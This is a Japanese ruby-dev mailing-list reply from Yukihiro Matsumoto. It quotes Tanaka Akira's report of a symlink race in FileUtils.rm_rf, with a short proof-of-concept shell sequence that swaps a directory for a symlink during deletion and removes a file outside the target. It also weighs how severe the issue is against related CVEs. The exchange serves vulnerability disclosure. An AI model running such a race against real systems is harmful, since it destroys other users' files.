まつもと ゆきひろです

In message "Re: [ruby-dev:26100] FileUtils.rm_rf security problem"
    on Tue, 26 Apr 2005 10:54:16 +0900, Tanaka Akira <akr / m17n.org> writes:

|ふと、CVE で perl 関係のを見ていたら、File::Path の rmtree に関するも
|のが目を引きました。
|http://www.cve.mitre.org/cgi-bin/cvekey.cgi?keyword=rmtree
|
|なんとなく、fileutils にも似通った問題があるのではないだろうかと思って、
|試してみると、やはりあるようです。
|
|% cd /tmp       
|% rm -rf a a- b
|% ruby -e 'Dir.mkdir("a"); 20000.times {|i| open("a/#{i}", "w") {} }; open("a/passwd", "w") {}'
|% ruby -e 'Dir.mkdir("b"); open("b/passwd", "w") {}'
|% ls b
|passwd
|% ruby -rfileutils -e 'FileUtils.rm_rf("/tmp/a")' & sleep 0.1; mv a a- && ln -s b a
|[1] 1449
|% /home/akr/ruby/lib/ruby/1.9/fileutils.rb:735:in `rmdir': Not a directory - /tmp/a (Errno::ENOTDIR)
|        from /home/akr/ruby/lib/ruby/1.9/fileutils.rb:735:in `remove_dir'
|        from /home/akr/ruby/lib/ruby/1.9/fileutils.rb:684:in `rm_r'
|        from /home/akr/ruby/lib/ruby/1.9/fileutils.rb:676:in `each'
|        from /home/akr/ruby/lib/ruby/1.9/fileutils.rb:676:in `rm_r'
|        from /home/akr/ruby/lib/ruby/1.9/fileutils.rb:700:in `rm_rf'
|        from -e:1
|
|[1]  + exit 1     ruby -rfileutils -e 'FileUtils.rm_rf("/tmp/a")'
|% ls b
|% 
|
|上記の例では、FileUtils.rm_rf("/tmp/a") が /tmp/b/passwd を削除してし
|まっています。

私の勘違いでなければ、上記の手順には攻撃者がトップレベル(aと
かbとか)を置き換える権限が必要なので危険はあまり感じられませ
ん。内部でchdirを使っている'rm -r'と動作は異なりますが、それ
はそれで受け入れられるような気がします。

でも、CAN-2004-0452(削除中にworld writableにしてしまう)や
CAN-2005-0448(setuid binaryを作れる)は確かに危険そうです。
akrさんの指摘した上記の問題とこれらの問題は同質のものなので
しょうか。

                                まつもと ゆきひろ /:|)